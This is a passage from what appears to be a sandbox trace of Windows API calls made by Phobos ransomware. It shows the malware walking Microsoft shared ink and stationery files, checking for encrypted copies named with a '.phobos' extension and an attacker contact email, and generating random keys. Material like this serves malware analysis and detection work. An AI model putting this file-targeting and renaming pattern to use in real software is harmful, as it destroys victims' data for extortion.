(normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.829] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.829] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2600) returned 1 [0124.829] CloseHandle (hObject=0x594) returned 1 [0124.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0124.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.829] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.830] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2246) returned 1 [0124.830] CloseHandle (hObject=0x594) returned 1 [0124.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0124.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.830] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.830] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2240) returned 1 [0124.830] CloseHandle (hObject=0x594) returned 1 [0124.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0124.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.831] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.840] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2644) returned 1 [0124.840] CloseHandle (hObject=0x594) returned 1 [0124.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0124.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.840] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.840] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2542) returned 1 [0124.841] CloseHandle (hObject=0x594) returned 1 [0124.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0124.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.841] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.841] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2568) returned 1 [0124.841] CloseHandle (hObject=0x594) returned 1 [0124.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0124.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.841] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.842] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2596) returned 1 [0124.842] CloseHandle (hObject=0x594) returned 1 [0124.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0124.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.842] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.844] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2520) returned 1 [0124.844] CloseHandle (hObject=0x594) returned 1 [0124.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0124.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.844] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.844] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2720) returned 1 [0124.844] CloseHandle (hObject=0x594) returned 1 [0124.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0124.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.845] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.847] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=255) returned 1 [0124.847] CloseHandle (hObject=0x594) returned 1 [0124.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0124.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.847] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.849] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=1074) returned 1 [0124.849] CloseHandle (hObject=0x594) returned 1 [0124.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0124.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.849] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.851] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=231) returned 1 [0124.851] CloseHandle (hObject=0x594) returned 1 [0124.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0124.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.851] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.852] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=23871) returned 1 [0124.852] CloseHandle (hObject=0x594) returned 1 [0124.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0124.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.852] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.852] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=237) returned 1 [0124.852] CloseHandle (hObject=0x594) returned 1 [0124.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0124.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.853] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.857] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=6406) returned 1 [0124.857] CloseHandle (hObject=0x594) returned 1 [0124.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0124.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.857] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.862] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=235) returned 1 [0124.862] CloseHandle (hObject=0x594) returned 1 [0124.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0124.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.862] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.864] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=4222) returned 1 [0124.864] CloseHandle (hObject=0x594) returned 1 [0124.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0124.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.864] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.865] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=237) returned 1 [0124.865] CloseHandle (hObject=0x594) returned 1 [0124.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 